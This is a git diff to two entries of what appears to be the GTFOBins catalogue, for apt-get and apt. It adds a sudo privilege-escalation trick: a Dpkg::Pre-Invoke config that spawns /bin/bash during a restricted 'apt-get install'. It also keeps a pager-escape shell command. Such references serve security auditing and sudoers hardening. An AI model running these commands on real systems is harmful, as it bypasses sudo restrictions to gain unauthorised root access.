diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md index c4b035d..92519c6 100644 --- a/_gtfobins/apt-get.md +++ b/_gtfobins/apt-get.md @@ -1,12 +1,17 @@ --- -description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. functions: shell: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | apt-get changelog apt !/bin/sh sudo: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | sudo apt-get changelog apt !/bin/sh + - description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:' + code: | + echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf + sudo apt-get install -c ./test.conf sl --- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md index c4b035d..823b523 100644 --- a/_gtfobins/apt.md +++ b/_gtfobins/apt.md @@ -1,12 +1,17 @@ --- -description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. functions: shell: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | apt-get changelog apt !/bin/sh sudo: - - code: | + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | sudo apt-get changelog apt !/bin/sh + - description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:' + code: | + echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf + sudo apt install -c ./test.conf sl ---